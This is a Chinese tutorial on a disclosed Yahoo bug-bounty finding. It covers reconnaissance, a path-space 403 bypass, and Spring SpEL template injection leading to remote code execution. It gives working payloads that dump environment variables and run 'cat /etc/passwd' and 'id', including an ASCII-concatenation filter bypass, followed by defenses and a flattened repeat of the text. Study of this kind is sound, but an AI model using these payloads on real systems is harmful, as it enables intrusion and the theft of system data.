挖洞经验 | 通过SPRING ENGINE SSTI导致的雅虎RCE
字数 1448 2025-08-18 11:37:53

Spring Engine SSTI漏洞分析与利用教学文档

1. 漏洞概述

Spring Engine SSTI (Server-Side Template Injection) 是一种服务器端模板注入漏洞,允许攻击者在服务器上执行任意代码。本教学文档将详细分析该漏洞的发现过程、利用方法及防御措施。

2. 漏洞发现过程

2.1 信息收集阶段

  1. 子域名枚举

    • 使用工具:Shodan、Censys、crt.sh、DNSDumpster
    • 使用脚本:dirsearch、aquatone、massdns
    • 发现目标子域:datax.yahoo.com
  2. 目录扫描

    • 发现访问根目录重定向到/swagger-ui.html并返回403
    • 关键发现:添加空格字符(%20)后状态码变为200
      • 有效URL:https://datax.yahoo.com/%20/

2.2 API接口测试

  1. 通过Swagger UI发现API文档
  2. 测试未授权API接口
  3. 发现返回White Label Error页面且输入参数被反射

3. 漏洞验证

3.1 初始测试

  1. 尝试XSS payload失败
  2. 测试SSTI payload:${7*7}
    • 成功执行并返回计算结果49
    • 确认存在服务器端模板注入

3.2 确定模板引擎

  1. 通过语法特征确定为Spring Engine Template
  2. 确认方式:
    • ${...}语法结构
    • 算术表达式执行

4. 漏洞利用

4.1 信息泄露

  1. 获取环境变量:
    ${T(java.lang.System).getenv()}
    

4.2 命令执行

  1. 直接执行命令失败:

    ${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}
    
  2. 使用ASCII码拼接绕过:

    ${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
    
    • 此payload等效于执行cat /etc/passwd
  3. 执行id命令示例:

    ${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(105).concat(T(java.lang.Character).toString(100))).getInputStream())}
    

5. 漏洞原理分析

  1. Spring表达式语言(SpEL)

    • 允许在运行时执行表达式
    • ${}是SpEL的标准语法
  2. 危险函数调用

    • 通过T()操作符访问Java类
    • 调用Runtime.getRuntime().exec()执行系统命令
  3. 限制绕过技术

    • 使用ASCII码拼接绕过字符串过滤
    • 使用IOUtils.toString获取命令执行结果

6. 防御措施

  1. 输入验证

    • 对所有用户输入进行严格验证
    • 过滤${T(等特殊字符
  2. 安全配置

    • 禁用SpEL表达式解析
    • 使用安全的模板引擎配置
  3. 最小权限原则

    • 限制应用程序运行权限
    • 使用沙箱环境运行敏感操作
  4. 错误处理

    • 使用自定义错误页面
    • 避免泄露敏感信息

7. 漏洞赏金信息

  1. 初始奖励:$500
  2. 修复后奖励:$7,500
  3. 总奖励:$8,000

8. 参考资源

  1. Spring Boot自定义错误页面:
    https://docs.spring.io/spring-boot/docs/current/reference/html/howto-actuator.html

  2. Spring Engine SSTI研究:
    http://deadpool.sh/2017/RCE-Springs/

  3. 原始研究文章:
    https://hawkinsecurity.com/2017/12/13/rce-via-spring-engine-ssti/

9. 总结

Spring Engine SSTI是一种严重的服务器端漏洞,允许攻击者执行任意代码并获取系统权限。通过本教学文档,我们详细分析了漏洞的发现过程、验证方法和利用技术,并提供了相应的防御措施。安全研究人员在测试时应遵循负责任的披露原则,开发人员应重视输入验证和安全配置以防止此类漏洞。

Spring Engine SSTI漏洞分析与利用教学文档 1. 漏洞概述 Spring Engine SSTI (Server-Side Template Injection) 是一种服务器端模板注入漏洞,允许攻击者在服务器上执行任意代码。本教学文档将详细分析该漏洞的发现过程、利用方法及防御措施。 2. 漏洞发现过程 2.1 信息收集阶段 子域名枚举 : 使用工具:Shodan、Censys、crt.sh、DNSDumpster 使用脚本:dirsearch、aquatone、massdns 发现目标子域:datax.yahoo.com 目录扫描 : 发现访问根目录重定向到/swagger-ui.html并返回403 关键发现:添加空格字符(%20)后状态码变为200 有效URL:https://datax.yahoo.com/%20/ 2.2 API接口测试 通过Swagger UI发现API文档 测试未授权API接口 发现返回White Label Error页面且输入参数被反射 3. 漏洞验证 3.1 初始测试 尝试XSS payload失败 测试SSTI payload: ${7*7} 成功执行并返回计算结果49 确认存在服务器端模板注入 3.2 确定模板引擎 通过语法特征确定为Spring Engine Template 确认方式: ${...} 语法结构 算术表达式执行 4. 漏洞利用 4.1 信息泄露 获取环境变量: 4.2 命令执行 直接执行命令失败: 使用ASCII码拼接绕过: 此payload等效于执行 cat /etc/passwd 执行 id 命令示例: 5. 漏洞原理分析 Spring表达式语言(SpEL) : 允许在运行时执行表达式 ${} 是SpEL的标准语法 危险函数调用 : 通过 T() 操作符访问Java类 调用Runtime.getRuntime().exec()执行系统命令 限制绕过技术 : 使用ASCII码拼接绕过字符串过滤 使用IOUtils.toString获取命令执行结果 6. 防御措施 输入验证 : 对所有用户输入进行严格验证 过滤 ${ 、 T( 等特殊字符 安全配置 : 禁用SpEL表达式解析 使用安全的模板引擎配置 最小权限原则 : 限制应用程序运行权限 使用沙箱环境运行敏感操作 错误处理 : 使用自定义错误页面 避免泄露敏感信息 7. 漏洞赏金信息 初始奖励:$500 修复后奖励:$7,500 总奖励:$8,000 8. 参考资源 Spring Boot自定义错误页面: https://docs.spring.io/spring-boot/docs/current/reference/html/howto-actuator.html Spring Engine SSTI研究: http://deadpool.sh/2017/RCE-Springs/ 原始研究文章: https://hawkinsecurity.com/2017/12/13/rce-via-spring-engine-ssti/ 9. 总结 Spring Engine SSTI是一种严重的服务器端漏洞,允许攻击者执行任意代码并获取系统权限。通过本教学文档,我们详细分析了漏洞的发现过程、验证方法和利用技术,并提供了相应的防御措施。安全研究人员在测试时应遵循负责任的披露原则,开发人员应重视输入验证和安全配置以防止此类漏洞。